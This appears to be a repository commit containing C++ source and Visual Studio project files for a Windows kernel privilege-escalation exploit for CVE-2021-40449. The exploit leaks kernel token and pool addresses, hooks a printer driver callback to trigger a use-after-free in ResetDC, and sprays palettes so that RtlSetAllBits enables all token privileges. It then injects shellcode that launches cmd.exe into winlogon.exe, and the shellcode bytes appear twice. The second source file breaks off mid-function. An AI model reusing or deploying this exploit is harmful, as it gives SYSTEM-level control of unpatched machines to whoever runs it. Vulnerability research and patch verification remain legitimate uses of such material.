DWORD64 base = GetModuleAddr("\\SystemRoot\\system32\\ntoskrnl.exe");
HMODULE mod = LoadLibraryEx(L"ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES);
if (!mod)
{
printf("[-] leaking ntoskrnl version\n");
return 0;
}
DWORD64 offset = (DWORD64)GetProcAddress(mod, name);
DWORD64 returnValue = base + offset - (DWORD64)mod;
//printf("[+] FunAddr: %p\n", (DWORD64)returnValue);
FreeLibrary(mod);
return returnValue;
}
typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO {
USHORT UniqueProcessId;
USHORT CreatorBackTraceIndex;
UCHAR ObjectTypeIndex;
UCHAR HandleAttributes;
USHORT HandleValue;
PVOID Object;
ULONG GrantedAccess;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO;
typedef struct _SYSTEM_HANDLE_INFORMATION {
ULONG NumberOfHandles;
SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;
DWORD64 GetKernelPointer(HANDLE handle, DWORD type)
{
PSYSTEM_HANDLE_INFORMATION buffer = (PSYSTEM_HANDLE_INFORMATION)malloc(0x20);
DWORD outBuffer = 0;
NTSTATUS status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, buffer, 0x20, &outBuffer);
if (status == (NTSTATUS)0xC0000004L)
{
free(buffer);
buffer = (PSYSTEM_HANDLE_INFORMATION)malloc(outBuffer);
status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, buffer, outBuffer, &outBuffer);
}
if (!buffer)
{
printf("[-] NtQuerySystemInformation error \n");
return 0;
}
for (size_t i = 0; i < buffer->NumberOfHandles; i++)
{
DWORD objTypeNumber = buffer->Handles[i].ObjectTypeIndex;
if (buffer->Handles[i].UniqueProcessId == GetCurrentProcessId() && buffer->Handles[i].ObjectTypeIndex == type)
{
if (handle == (HANDLE)buffer->Handles[i].HandleValue)
{
DWORD64 object = (DWORD64)buffer->Handles[i].Object;
free(buffer);
return object;
}
}
}
printf("[-] handle not found\n");
free(buffer);
return 0;
}
LPVOID ntoskrnlBase = nullptr;
DWORD64 LeakEporcessKtoken()
{
LPVOID drivers[1024] = {};
DWORD cbNeeded = NULL;
ntoskrnlBase = nullptr;
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded < sizeof(drivers))
{
if (drivers[0])
{
ntoskrnlBase = drivers[0];
printf("[-] ntoskrnlBase=%p\n", ntoskrnlBase);
}
}
else
{
printf("[-] EnumDeviceDrivers failed; array size needed is %d\n", cbNeeded / sizeof(LPVOID));
}
HANDLE proc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, GetCurrentProcessId());
if (!proc)
{
printf("[-] OpenProcess failed\n");
return 0;
}
HANDLE token = 0;
if (!OpenProcessToken(proc, TOKEN_ADJUST_PRIVILEGES, &token))
{
printf("[-] OpenProcessToken failed\n");
return 0;
}
DWORD64 ktoken = 0;
for (int i = 0; i < 0x100; i++)
{
ktoken = GetKernelPointer(token, 0x5);
if (ktoken != NULL)
{
break;
}
}
return ktoken;
}
int fnExploit(int lpParameter)
{
do
{
Sleep(0x500000);
} while (true);
}
DWORD64 LeakTheadNamePoolAddr(DWORD64 ktoken)
{
DWORD dwThreadID = 0;
HANDLE hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)fnExploit, 0, 0, &dwThreadID);
printf("[-] hTread==%p,dwThreadID==%d\n", hThread, dwThreadID);
USHORT dwSize = 4096;
LPVOID lpMessageToStore = VirtualAlloc(0, dwSize, MEM_COMMIT, PAGE_READWRITE);
memset(lpMessageToStore, 0x41, 0x20);
//BitMapHeader->SizeOfBitMap
*(DWORD64*)lpMessageToStore = 0x80;
//BitMapHeader->Buffer
*(DWORD64*)((DWORD64)lpMessageToStore + 8) = ktoken;
UNICODE_STRING target = {};
target.Length = dwSize;
target.MaximumLength = 0xffff;
target.Buffer = (PWSTR)lpMessageToStore;
HRESULT hRes = NtSetInformationThread(hThread, (THREADINFOCLASS)ThreadNameInformation, &target, 0x10);
DWORD dwBufSize = 1024 * 1024;
DWORD dwOutSize;
LPVOID pBuffer = LocalAlloc(LPTR, dwBufSize);
hRes = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemBigPoolInformation, pBuffer, dwBufSize, &dwOutSize);
DWORD dwExpectedSize = target.Length + sizeof(UNICODE_STRING);
ULONG_PTR StartAddress = (ULONG_PTR)pBuffer;
ULONG_PTR EndAddress = StartAddress + 8 + *((PDWORD)StartAddress) * sizeof(BIG_POOL_INFO);
ULONG_PTR ptr = StartAddress + 8;
while (ptr < EndAddress)
{
PBIG_POOL_INFO info = (PBIG_POOL_INFO)ptr;
//printf("Name:%s Size:%llx Address:%llx\n", info->PoolTag, info->PoolSize, info->Address);
if (strncmp(info->PoolTag, "ThNm", 4) == 0 && dwExpectedSize == info->PoolSize)
{
return (((ULONG_PTR)info->Address) & 0xfffffffffffffff0) + sizeof(UNICODE_STRING);
}
ptr += sizeof(BIG_POOL_INFO);
}
printf("[-] Lead Pool Addr Failed\n");
return NULL;
}
// run cmd.exe
unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51" \
"\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52" \
"\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0" \
"\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed" \
"\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88" \
"\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44" \
"\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48" \
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1" \
"\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44" \
"\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49" \
"\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a" \
"\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41" \
"\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00" \
"\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b" \
"\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff" \
"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47" \
"\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x6d\x64\x2e\x65" \
"\x78\x65\x00";
void InjectToWinlogon()
{
PROCESSENTRY32 entry;
entry.dwSize = sizeof(PROCESSENTRY32);
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
int pid = -1;
if (Process32First(snapshot, &entry))
{
while (Process32Next(snapshot, &entry))
{
if (wcscmp(entry.szExeFile, L"winlogon.exe") == 0)
{
pid = entry.th32ProcessID;
break;
}
}
}
CloseHandle(snapshot);
if (pid < 0)
{
printf("Could not find process\n");
return;
}
HANDLE h = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (!h)
{
printf("Could not open process: %x", GetLastError());
return;
}
void* buffer = VirtualAllocEx(h, NULL, sizeof(shellcode), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!buffer)
{
printf("[-] VirtualAllocEx failed\n");
}
if (!buffer)
{
printf("[-] remote allocation failed");
return;
}
if (!WriteProcessMemory(h, buffer, shellcode, sizeof(shellcode), 0))
{
printf("[-] WriteProcessMemory failed");
return;
}
HANDLE hthread = CreateRemoteThread(h, 0, 0, (LPTHREAD_START_ROUTINE)buffer, 0, 0, 0);
if (hthread == INVALID_HANDLE_VALUE)
{
printf("[-] CreateRemoteThread failed");
return;
}
}
int main()
{
NtSetInformationThread = (fnNtSetInformationThreadPtr)GetProcAddress(LoadLibrary(L"ntdll.dll"), "NtSetInformationThread");
if (NtSetInformationThread == NULL)
{
printf("[-] Getting NtSetInformationThread Failed\n");
}
DWORD64 ktoken = LeakEporcessKtoken();
printf("[-] ktoken addr =%p\n", ktoken);
GadgetAddr = GetGadgetAddr("RtlSetAllBits");
printf("[-] GadgetAddr addr =%p\n", GadgetAddr);
Fake_RtlBitMapAddr = LeakTheadNamePoolAddr(ktoken + 0x40);
printf("[-] Fake_RtlBitMapAddr=%p\n", Fake_RtlBitMapAddr);
bool res = false;
// Setup hook for usermode callbacks on a printer
res = SetupUsermodeCallbackHook();
if (res == false)
{
printf("[-] Failed to setup usermode callback\n");
}
// Create new device context for printer with driver's hooked callbacks
globals::hdc = CreateDCA(NULL, globals::printerName, NULL, NULL);
if (globals::hdc == NULL)
{
puts("[-] Failed to create device context");
return -1;
}
// Trigger the vulnerability
// This will internally call `hdcOpenDCW` which will call our usermode callback
// From here we will call ResetDC again to trigger the UAF
globals::should_trigger = true;
ResetDC(globals::hdc, NULL);
printf("[-] InjectToWinlogon\n");
InjectToWinlogon();
puts("[*] Done");
return 0;
}

View File

@ -0,0 +1,31 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 16
VisualStudioVersion = 16.0.31727.386
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CVE-2021-40449-x64", "CVE-2021-40449-x64.vcxproj", "{59A8C0AC-361B-4378-8FDF-A5A7E2B23CBC}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x64 = Debug|x64
Debug|x86 = Debug|x86
Release|x64 = Release|x64
Release|x86 = Release|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{59A8C0AC-361B-4378-8FDF-A5A7E2B23CBC}.Debug|x64.ActiveCfg = Debug|x64
{59A8C0AC-361B-4378-8FDF-A5A7E2B23CBC}.Debug|x64.Build.0 = Debug|x64
{59A8C0AC-361B-4378-8FDF-A5A7E2B23CBC}.Debug|x86.ActiveCfg = Debug|Win32
{59A8C0AC-361B-4378-8FDF-A5A7E2B23CBC}.Debug|x86.Build.0 = Debug|Win32
{59A8C0AC-361B-4378-8FDF-A5A7E2B23CBC}.Release|x64.ActiveCfg = Release|x64
{59A8C0AC-361B-4378-8FDF-A5A7E2B23CBC}.Release|x64.Build.0 = Release|x64
{59A8C0AC-361B-4378-8FDF-A5A7E2B23CBC}.Release|x86.ActiveCfg = Release|Win32
{59A8C0AC-361B-4378-8FDF-A5A7E2B23CBC}.Release|x86.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {12A176C1-F90A-474F-8187-C589B10F6A2A}
EndGlobalSection
EndGlobal

View File

@ -0,0 +1,161 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<ProjectGuid>{59A8C0AC-361B-4378-8FDF-A5A7E2B23CBC}</ProjectGuid>
<Keyword>Win32Proj</Keyword>
<RootNamespace>CVE202140449x64</RootNamespace>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v120</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v120</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v120</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v120</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<SDLCheck>true</SDLCheck>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<IgnoreSpecificDefaultLibraries>
</IgnoreSpecificDefaultLibraries>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<SDLCheck>true</SDLCheck>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<AdditionalDependencies>ntdll.lib;%(AdditionalDependencies)</AdditionalDependencies>
<IgnoreSpecificDefaultLibraries>
</IgnoreSpecificDefaultLibraries>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<PrecompiledHeader>
</PrecompiledHeader>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<SDLCheck>true</SDLCheck>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<IgnoreSpecificDefaultLibraries>
</IgnoreSpecificDefaultLibraries>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<PrecompiledHeader>
</PrecompiledHeader>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<SDLCheck>true</SDLCheck>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<IgnoreSpecificDefaultLibraries>
</IgnoreSpecificDefaultLibraries>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="CVE-2021-40449-x64.cpp" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

View File

@ -0,0 +1,22 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="源文件">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="头文件">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;hm;inl;inc;xsd</Extensions>
</Filter>
<Filter Include="资源文件">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="CVE-2021-40449-x64.cpp">
<Filter>源文件</Filter>
</ClCompile>
</ItemGroup>
</Project>

View File

@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup />
</Project>

Binary file not shown.

View File

@ -0,0 +1,31 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 16
VisualStudioVersion = 16.0.31613.86
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CallbackHell", "CallbackHell\CallbackHell.vcxproj", "{6A40314B-695B-4B07-A5A8-5B640436A388}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x64 = Debug|x64
Debug|x86 = Debug|x86
Release|x64 = Release|x64
Release|x86 = Release|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{6A40314B-695B-4B07-A5A8-5B640436A388}.Debug|x64.ActiveCfg = Debug|x64
{6A40314B-695B-4B07-A5A8-5B640436A388}.Debug|x64.Build.0 = Debug|x64
{6A40314B-695B-4B07-A5A8-5B640436A388}.Debug|x86.ActiveCfg = Debug|Win32
{6A40314B-695B-4B07-A5A8-5B640436A388}.Debug|x86.Build.0 = Debug|Win32
{6A40314B-695B-4B07-A5A8-5B640436A388}.Release|x64.ActiveCfg = Release|x64
{6A40314B-695B-4B07-A5A8-5B640436A388}.Release|x64.Build.0 = Release|x64
{6A40314B-695B-4B07-A5A8-5B640436A388}.Release|x86.ActiveCfg = Release|Win32
{6A40314B-695B-4B07-A5A8-5B640436A388}.Release|x86.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {99AEE2A7-BD51-4AAF-9A55-1CE69B89CDCC}
EndGlobalSection
EndGlobal

View File

@ -0,0 +1,650 @@
#pragma warning( disable : 4005 )
#include <Windows.h>
#include <stdio.h>
#include <winddi.h>
#include <winternl.h>
#include <psapi.h>
#include <tlhelp32.h>
// [Shellcode here]
// (Run cmd.exe)
unsigned char payload[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51" \
"\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52" \
"\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0" \
"\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed" \
"\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88" \
"\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44" \
"\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48" \
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1" \
"\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44" \
"\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49" \
"\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a" \
"\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41" \
"\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00" \
"\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b" \
"\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff" \
"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47" \
"\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x6d\x64\x2e\x65" \
"\x78\x65\x00";
#define SystemHandleInformation 0x10
#define SystemBigPoolInformation 0x42
#define ThreadNameInformation 0x26
typedef BOOL (*DrvEnableDriver_t)(ULONG iEngineVersion, ULONG cj, DRVENABLEDATA *pded);
typedef DHPDEV (*DrvEnablePDEV_t)(DEVMODEW *pdm, LPWSTR pwszLogAddress, ULONG cPat, HSURF *phsurfPatterns, ULONG cjCaps, ULONG *pdevcaps, ULONG cjDevInfo, DEVINFO *pdi, HDEV hdev, LPWSTR pwszDeviceName, HANDLE hDriver);
typedef VOID (*VoidFunc_t)();
typedef NTSTATUS(*NtSetInformationThread_t)(HANDLE threadHandle, THREADINFOCLASS threadInformationClass, PVOID threadInformation, ULONG threadInformationLength);
typedef NTSTATUS(WINAPI* NtQuerySystemInformation_t)(SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength);
typedef struct _DriverHook
{
ULONG index;
LPVOID func;
} DriverHook;
typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
{
USHORT UniqueProcessId;
USHORT CreatorBackTraceIndex;
UCHAR ObjectTypeIndex;
UCHAR HandleAttributes;
USHORT HandleValue;
PVOID Object;
ULONG GrantedAccess;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO;
typedef struct _SYSTEM_HANDLE_INFORMATION
{
ULONG NumberOfHandles;
SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;
typedef struct
{
DWORD64 Address;
DWORD64 PoolSize;
CHAR PoolTag[4];
CHAR Padding[4];
} BIG_POOL_INFO, * PBIG_POOL_INFO;
DHPDEV hook_DrvEnablePDEV(DEVMODEW *pdm, LPWSTR pwszLogAddress, ULONG cPat, HSURF *phsurfPatterns, ULONG cjCaps, ULONG *pdevcaps, ULONG cjDevInfo, DEVINFO *pdi, HDEV hdev, LPWSTR pwszDeviceName, HANDLE hDriver);
DriverHook driverHooks[] = {
{INDEX_DrvEnablePDEV, (LPVOID)hook_DrvEnablePDEV},
};
NtSetInformationThread_t SetInformationThread;
NtQuerySystemInformation_t QuerySystemInformation;
// Global variables
namespace globals
{
LPWSTR printerName;
HDC hdc;
DWORD counter;
BOOL shouldTrigger;
VoidFunc_t origDrvFuncs[INDEX_LAST];
DWORD64 rtlSetAllBits;
DWORD64 fakeRtlBitMapAddr;
DWORD currentProcessId;
}
VOID SprayPalettes(DWORD size)
{
/* Spray palettes to reclaim freed memory */
DWORD palCount = (size - 0x90) / 4;
DWORD palSize = sizeof(LOGPALETTE) + (palCount - 1) * sizeof(PALETTEENTRY);
LOGPALETTE* lPalette = (LOGPALETTE*)malloc(palSize);
if (lPalette == NULL) {
puts("[-] Failed to create palette");
return;
}
DWORD64* p = (DWORD64*)((DWORD64)lPalette + 4);
// Will call: RtlSetAllBits(BitMapHeader), where BitMapHeader is a forged
// to point to the current process token (See `CreateForgedBitMapHeader`)
// This will enable all privileges
// Offset is specific to each version. Spray the two pointers
// Arg1 (BitMapHeader)
for (DWORD i = 0; i < 0x120; i++) {
p[i] = globals::fakeRtlBitMapAddr;
// p[0xe5] = globals::fakeRtlBitMapAddr;
}
// Function pointer (RtlSetAllBits)
for (DWORD i = 0x120; i < (palSize - 4) / 8; i++) {
p[i] = globals::rtlSetAllBits;
// p[0x15b] = globals::rtlSetAllBits;
}
lPalette->palNumEntries = (WORD)palCount;
lPalette->palVersion = 0x300;
// Create lots of palettes
for (DWORD i = 0; i < 0x5000; i++)
{
CreatePalette(lPalette);
}
}
DHPDEV hook_DrvEnablePDEV(DEVMODEW *pdm, LPWSTR pwszLogAddress, ULONG cPat, HSURF *phsurfPatterns, ULONG cjCaps, ULONG *pdevcaps, ULONG cjDevInfo, DEVINFO *pdi, HDEV hdev, LPWSTR pwszDeviceName, HANDLE hDriver)
{
puts("[*] Hooked DrvEnablePDEV called");
DHPDEV res = ((DrvEnablePDEV_t)globals::origDrvFuncs[INDEX_DrvEnablePDEV])(pdm, pwszLogAddress, cPat, phsurfPatterns, cjCaps, pdevcaps, cjDevInfo, pdi, hdev, pwszDeviceName, hDriver);
// Check if we should trigger the vulnerability
if (globals::shouldTrigger == TRUE)
{
// We only want to trigger the vulnerability once
globals::shouldTrigger = FALSE;
// Trigger vulnerability with second ResetDC. This will destroy the original
// device context, while we're still inside of the first ResetDC. This will
// result in a UAF
puts("[*] Triggering UAF with second ResetDC");
HDC tmp_hdc = ResetDCW(globals::hdc, NULL);
puts("[*] Returned from second ResetDC");
// This is where we reclaim the freed memory and overwrite the function pointer
// and argument. We will use palettes to reclaim the freed memory
puts("[*] Spraying palettes");
SprayPalettes(0xe20);
puts("[*] Done spraying palettes");
}
return res;
}
BOOL SetupUsermodeCallbackHook()
{
/* Find and hook a printer's usermode callbacks */
DrvEnableDriver_t DrvEnableDriver;
VoidFunc_t DrvDisableDriver;
DWORD pcbNeeded, pcbReturned, lpflOldProtect, _lpflOldProtect;
PRINTER_INFO_4W *pPrinterEnum, *printerInfo;
HANDLE hPrinter;
DRIVER_INFO_2W *driverInfo;
HMODULE hModule;
DRVENABLEDATA drvEnableData;
BOOL res;
// Find available printers
EnumPrintersW(PRINTER_ENUM_LOCAL, NULL, 4, NULL, 0, &pcbNeeded, &pcbReturned);
if (pcbNeeded <= 0)
{
puts("[-] Failed to find any available printers");
return FALSE;
}
pPrinterEnum = (PRINTER_INFO_4W *)malloc(pcbNeeded);
if (pPrinterEnum == NULL)
{
